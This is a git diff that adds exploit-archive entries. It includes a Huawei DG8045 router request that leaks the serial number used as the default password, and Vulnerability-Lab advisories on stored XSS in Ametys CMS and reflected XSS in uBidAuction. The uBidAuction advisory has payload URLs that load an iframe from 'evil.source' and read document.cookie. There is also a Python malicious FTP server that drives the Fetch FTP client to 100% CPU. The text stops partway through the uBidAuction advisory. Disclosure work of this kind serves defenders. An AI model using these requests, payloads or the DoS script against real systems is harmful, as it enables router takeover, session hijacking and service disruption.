diff --git a/exploits/hardware/webapps/50701.txt b/exploits/hardware/webapps/50701.txt new file mode 100644 index 000000000..7cb8ae3a0 --- /dev/null +++ b/exploits/hardware/webapps/50701.txt @@ -0,0 +1,42 @@ +# Title: Huawei DG8045 Router 1.0 - Credential Disclosure +# Date: 2020-06-24 +# Author: Abdalrahman Gamal +# Vendor Homepage: www.huawei.com +# Version: dg8045 +# HardwareVersion: VER.A +# CVE: N/A + +#POC: + +The default password of this router is the last 8 characters of the +device's serial number which exist in the back of the device. + +An attacker can leak the serial number via the web app API like the +following: + +************************Request************************ +GET /api/system/deviceinfo HTTP/1.1 +Host: 192.168.1.1 +User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:65.0) +Gecko/20100101 Firefox/65.0 +Accept: application/json, text/javascript, */*; q=0.01 +Accept-Language: en-US,en;q=0.5 +Accept-Encoding: gzip, deflate +Referer: https://192.168.1.1/ +X-Requested-With: XMLHttpRequest +Connection: close + + +************************Response************************ +HTTP/1.1 200 OK +Cache-Control: no-cache, no-store, max-age=0, must-revalidate +X-Download-Options: noopen +X-Frame-Options: SAMEORIGIN +X-XSS-Protection: 1; mode=block +Date: Thu, 24 Jun 2021 02:07 GMT+2 +Connection: Keep-Alive +Content-Language: en +Content-Type: application/javascript +Content-Length: 141 + +while(1); /*{"DeviceName":"DG8045","SerialNumber":"21530369847SK9252081","ManufacturerOUI":"00E0FC","UpTime":81590,"HardwareVersion":"VER.A"}*/ \ No newline at end of file diff --git a/exploits/java/webapps/50692.txt b/exploits/java/webapps/50692.txt new file mode 100644 index 000000000..5e74c79f3 --- /dev/null +++ b/exploits/java/webapps/50692.txt @@ -0,0 +1,255 @@ +# Exploit Title: Ametys CMS v4.4.1 - Cross Site Scripting (XSS) +# Exploit Author: Vulnerability-Lab +# Date: 21/01/2022 + + +Document Title: +=============== +Ametys v4.4.1 CMS - Cross Site Scripting Vulnerability + + +References (Source): +==================== +https://www.vulnerability-lab.com/get_content.php?id=2275 + + +Release Date: +============= +2022-01-12 + + +Vulnerability Laboratory ID (VL-ID): +==================================== +2275 + + +Common Vulnerability Scoring System: +==================================== +5.2 + + +Vulnerability Class: +==================== +Cross Site Scripting - Persistent + + +Current Estimated Price: +======================== +500€ - 1.000€ + + +Product & Service Introduction: +=============================== +Build powerful and stunning websites. Whether you need an advanced corporate website, a powerful landing page, a professionnal blog or +an event website, all the tools to make creative digital experiences are at your fingertips with Ametys. No coding skills needed. +Ametys make it easy for everyone to create and manage unified digital platform. Ametys delivers simple and intuitive interface with +a familiar ribbon Office style interface. + +(Copy of the Homepage:https://www.ametys.org/community/en/ametys-platform/ametys-portal/overview.html ) + + +Abstract Advisory Information: +============================== +The vulnerability laboratory core research team discovered a persistent input validation web vulnerability in the Ametys v4.4.1 cms web-application. + + +Affected Product(s): +==================== +Ametys +Product: Ametys v4.4.1 - Content Management System (Web-Application) + + +Vulnerability Disclosure Timeline: +================================== +2021-07-24: Researcher Notification & Coordination (Security Researcher) +2021-07-25: Vendor Notification (Security Department) +2021-**-**: Vendor Response/Feedback (Security Department) +2021-**-**: Vendor Fix/Patch (Service Developer Team) +2021-**-**: Security Acknowledgements (Security Department) +2022-01-12: Public Disclosure (Vulnerability Laboratory) + + +Discovery Status: +================= +Published + + +Exploitation Technique: +======================= +Remote + + +Severity Level: +=============== +Medium + + +Authentication Type: +==================== +Restricted Authentication (User Privileges) + + +User Interaction: +================= +Low User Interaction + + +Disclosure Type: +================ +Responsible Disclosure + + +Technical Details & Description: +================================ +A persistent script code injection web vulnerability has been discovered in the official Ametys v4.4.1 cms web-application. +The vulnerability allows remote attackers to inject own malicious script codes with persistent attack vector to compromise +browser to web-application requests from the application-side. + +The vulnerability is located in the input fields of the link text, small description and description in the add external link function. +The function is for example located in the link directory of the backend. Added links are listed with status and details. +Attackers with low privileges are able to add own malformed link with malicious script code in the marked vulnerable parameters. +After the inject the links are being displayed in the backend were the execute takes place on preview of the main link directory. +The attack vector of the vulnerability is persistent and the request method to inject is post. + +Successful exploitation of the vulnerability results in session hijacking, persistent phishing attacks, persistent external redirects +to malicious source and persistent manipulation of affected application modules. + +Request Method(s): +[+] POST + +Vulnerable Module(s): +[+] Link Directory (Add) + +Vulnerable Function(s): +[+] add (External Link) + +Vulnerable Parameter(s): +[+] Link Text +[+] Small description +[+] Description + +Affected Module(s): +[+] Frontend (Main Link Listing) +[+] Backend (Link Directory) + + +Proof of Concept (PoC): +======================= +The persistent web vulnerability can be exploited by remote attackers with low privilged user accounts with low user interaction. +For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue. + + +Manual steps to reproduce the vulnerability ... +1. Open the application path and login to the service as restricted user that allowed to create links +2. Open the link directory and create a new link (top|left) +3. Inject the test payloads to the link text, small description and description and save via post +4. On visit of the link directory the payloads executes in the backend listing or frontend +5. Successful reproduce of the persistent web vulnerability! + + +Payload(s): +poc_link +poc_link + + +Vulnerable Source: Link Directory - Link (Add) +class="x-grid-cell-inner " style="text-align:left;" +poc_link
poc_link
 
  +
+ + +--- PoC Session Logs (POST) --- +https://ametys.localhost:8000.localhost:8000/cms/plugins/core-ui/servercomm/messages.xml +Host: ametys.localhost:8000.localhost:8000 +User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0 +Accept: */* +Accept-Language: de,en-US;q=0.7,en;q=0.3 +Accept-Encoding: gzip, deflate, br +X-Requested-With: XMLHttpRequest +Content-Type: multipart/form-data; boundary=---------------------------1197812616356669894551519312 +Content-Length: 798 +Origin: https://ametys.localhost:8000.localhost:8000 +Connection: keep-alive +Referer: https://ametys.localhost:8000.localhost:8000/cms/www/index.html +Cookie: JSESSIONID=A1DC067A1739FDFBC72BCF921A5AA655; +AmetysAuthentication=YW1ldHlzX2RlbW9fdXNlcnMjd2VibWFzdGVyI1A5WndHNTNzNmJhYlRWSDI; +JSESSIONID=A0EC6E56FC3A2131C9D24C33CB9CCAAA +Sec-Fetch-Dest: empty +Sec-Fetch-Mode: cors +Sec-Fetch-Site: same-origin +content={"0":{"pluginOrWorkspace":"core-ui","responseType":"xml","url":"system-announcement/view.xml"},"1": +{"pluginOrWorkspace":"core-ui","responseType":"xml","url":"system-startuptime.xml"}}&context.parameters= +{"siteName":"www","skin":"demo","debug.mode":"false","populationContexts":["/sites/www","/sites-fo/www"],"user": +{"login":"testuser_restricted","population":"ametys_demo_users","firstname":"testuser_restricted","lastname":"User","fullname":"testuser_restricted User", +"email":"testuser_restricted@test.com","populationLabel":"Ametys Demo Users","locale":"en"}} +- +POST: HTTP/1.1 200 +Server: Apache/2.4.29 (Ubuntu) +X-Cocoon-Version: 2.1.13 +Ametys-Dispatched: true +Content-Type: text/xml +Via: 1.1 ametys.localhost:8000.localhost:8000 +Vary: Accept-Encoding +Content-Encoding: gzip +Keep-Alive: timeout=5, max=100 +Connection: Keep-Alive +Transfer-Encoding: chunked +Content-Language: fr + + +Solution - Fix & Patch: +======================= +The vulnerability can be patched by a secure parse and encode of the input fields in the external link add function of the link directory. +In a second step the input fields can be restricted for special chars to prevent further attacks. +As next step the output location were the links are being displayed (frontend & backend) should to be sanitized correctly. + + +Security Risk: +============== +The security risk of the persistent input validation web vulnerability in the ametys web-application cms is estimated as medium. + + +Credits & Authors: +================== +Vulnerability-Lab [Research Team] -https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab + + +Disclaimer & Information: +========================= +The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, +either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab +or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits +or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do +not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply. +We do not approve or encourage anybody to break any licenses, policies, deface websites, hack into databases or trade with stolen data. + +Domains:www.vulnerability-lab.com www.vuln-lab.com www.vulnerability-db.com +Services: magazine.vulnerability-lab.com paste.vulnerability-db.com infosec.vulnerability-db.com +Social: twitter.com/vuln_lab facebook.com/VulnerabilityLab youtube.com/user/vulnerability0lab +Feeds: vulnerability-lab.com/rss/rss.php vulnerability-lab.com/rss/rss_upcoming.php vulnerability-lab.com/rss/rss_news.php +Programs: vulnerability-lab.com/submit.php vulnerability-lab.com/register.php vulnerability-lab.com/list-of-bug-bounty-programs.php + +Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. +Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other +media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other +information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list, modify, use or +edit our material contact (admin@ or research@) to get a ask permission. + +Copyright © 2022 | Vulnerability Laboratory - [Evolution Security GmbH]™ + + + +-- +VULNERABILITY LABORATORY (VULNERABILITY LAB) +RESEARCH, BUG BOUNTY & RESPONSIBLE DISCLOSURE \ No newline at end of file diff --git a/exploits/macos/local/50696.py b/exploits/macos/local/50696.py new file mode 100755 index 000000000..352d85cb8 --- /dev/null +++ b/exploits/macos/local/50696.py @@ -0,0 +1,70 @@ +# Exploit Title: Fetch Softworks Fetch FTP Client 5.8 - Remote CPU Consumption (Denial of Service) +# Exploit Author: liquidworm + +#!/usr/bin/env python +# +# +# Fetch Softworks Fetch FTP Client 5.8 Remote CPU Consumption (Denial of Service) +# +# +# Vendor: Fetch Softworks +# Product web page: https://www.fetchsoftworks.com +# Affected version: 5.8.2 (5K1354) +# +# Summary: Fetch is a reliable, full-featured file transfer client for the +# Apple Macintosh whose user interface emphasizes simplicity and ease of use. +# Fetch supports FTP and SFTP, the most popular file transfer protocols on +# the Internet for compatibility with thousands of Internet service providers, +# web hosting companies, publishers, pre-press companies, and more. +# +# Desc: The application is prone to a DoS after receiving a long server response +# (more than 2K bytes) leading to 100% CPU consumption. +# +# -------------------------------------------------------------------------------- +# ~/Desktop> ps ucp 3498 +# USER PID %CPU %MEM VSZ RSS TT STAT STARTED TIME COMMAND +# lqwrm 3498 100.0 0.5 60081236 54488 ?? R 5:44PM 4:28.97 Fetch-5K1354-266470421 +# ~/Desktop> +# -------------------------------------------------------------------------------- +# +# Tested on: macOS Monterey 12.2 +# macOS Big Sur 11.6.2 +# +# +# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic +# @zeroscience +# +# +# Advisory ID: ZSL-2022-5696 +# Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2022-5696.php +# +# +# 27.01.2022 +# + +import socket + +host = '0.0.0.0' +port = 21 + +s = socket.socket() +s.bind((host, port)) +s.listen(2) + +print('Ascolto su', host, 'porta', port, '...') + +consumptor = '220\x20' +consumptor += 'ftp.zeroscience.mk' +consumptor += '\x00' * 0x101E +consumptor += '\x0D\x0A' + +while True: + try: + c, a = s.accept() + print('Connessione da', a) + print('CPU 100%, Memory++') + c.send(bytes(consumptor, 'UTF-8')) + c.send(b'Thricer OK, p\'taah\x0A\x0D') + print(c.recv(17)) + except: + break \ No newline at end of file diff --git a/exploits/php/webapps/50693.txt b/exploits/php/webapps/50693.txt new file mode 100644 index 000000000..94736b00e --- /dev/null +++ b/exploits/php/webapps/50693.txt @@ -0,0 +1,241 @@ +# Exploit Title: uBidAuction v2.0.1 - 'Multiple' Cross Site Scripting (XSS) +# Exploit Author: Vulnerability-Lab +# Date: 21/01/2022 + + +Document Title: +=============== +uBidAuction v2.0.1 - Multiple XSS Web Vulnerabilities + + +References (Source): +==================== +https://www.vulnerability-lab.com/get_content.php?id=2289 + + +Release Date: +============= +2022-01-21 + + +Vulnerability Laboratory ID (VL-ID): +==================================== +2289 + + +Common Vulnerability Scoring System: +==================================== +5.4 + + +Vulnerability Class: +==================== +Cross Site Scripting - Non Persistent + + +Current Estimated Price: +======================== +500€ - 1.000€ + + +Product & Service Introduction: +=============================== +uBidAuction is a powerful, scalable & fully-featured classic and bid auction software that lets create the ultimate +profitable online auctions website. It allows to manage entire online auction operation: create new auctions within +seconds, view members auctions and use the auction extension settings tool. + +(Copy of the Homepage:https://www.apphp.com/codemarket/items/48/ubidauction-php-classic-and-bid-auctions-script ) + + +Abstract Advisory Information: +============================== +The vulnerability laboratory core research team discovered multiple non-persistent cross site web vulnerabilities in the uBidAuction v2.0.1 script web-application. + + +Affected Product(s): +==================== +ApPHP +Product: uBidAuction v2.0.1 - Auction Script (PHP) (Web-Application) +Product: ApPHP MVC Framework v1.2.2 (Framework) + + +Vulnerability Disclosure Timeline: +================================== +2022-09-01: Researcher Notification & Coordination (Security Researcher) +2022-09-02: Vendor Notification (Security Department) +2022-09-07: Vendor Response/Feedback (Security Department) +2022-**-**: Vendor Fix/Patch (Service Developer Team) +2022-**-**: Security Acknowledgements (Security Department) +2022-01-21: Public Disclosure (Vulnerability Laboratory) + + +Discovery Status: +================= +Published + + +Exploitation Technique: +======================= +Remote + + +Severity Level: +=============== +Medium + + +Authentication Type: +==================== +Pre Auth (No Privileges or Session) + + +User Interaction: +================= +Low User Interaction + + +Disclosure Type: +================ +Responsible Disclosure + + +Technical Details & Description: +================================ +Multiple non-persistent cross site web vulnerabilities has been discovered in the official uBidAuction v2.0.1 script web-application. +The vulnerability allows remote attackers to inject own malicious script codes with non-persistent attack vector to compromise browser +to web-application requests from the client-side. + +The cross site web vulnerabilities are located in the `date_created`, `date_from`, `date_to` and `created_at` parameters of the `filter` web module. +The injection point is located in the parameters and the execution occurs in the filter module. The request method to inject the malicious script +code is GET and the attack vector of the vulnerability is non-persistent on client-side. + +Successful exploitation of the vulnerability results in session hijacking, non-persistent phishing attacks, non-persistent external redirects +to malicious source and non-persistent manipulation of affected application modules. + +Request Method(s): +[+] GET + +Vulnerable Module(s): +[+] ./orders/myOrders +[+] ./auctions/myAuctions/status/active +[+] ./auctions/myAuctions/status/loose +[+] ./posts/manage +[+] ./news/manage +[+] ./tickets/manage +[+] ./auctions/manage +[+] ./backend/mailingLog/manage + +Vulnerable Parameter(s): +[+] date_created +[+] date_from +[+] date_to +[+] created_at + +Affected Module(s): +[+] Filter + + +Proof of Concept (PoC): +======================= +The client-side cross site scripting web vulnerabilities can be exploited by remote attackers without account and with low user interaction. +For security demonstration or to reproduce the cross site web vulnerability follow the provided information and steps below to continue. + + +Exploitation: Payload +"> + + +Exploitation: PoC (Role: Member) +https://bid-auction.localhost:8080/orders/myOrders?order_number=1&created_at=%22%3E%3Ciframe+src%3Devil.source+onload%3Dalert%28document.cookie%29%3E&status=0&but_filter=Filter +https://bid-auction.localhost:8080/auctions/myAuctions/status/active?auction_number=test1&name=test2&date_from="> +Add Post
+
+Post Header: +Date Created: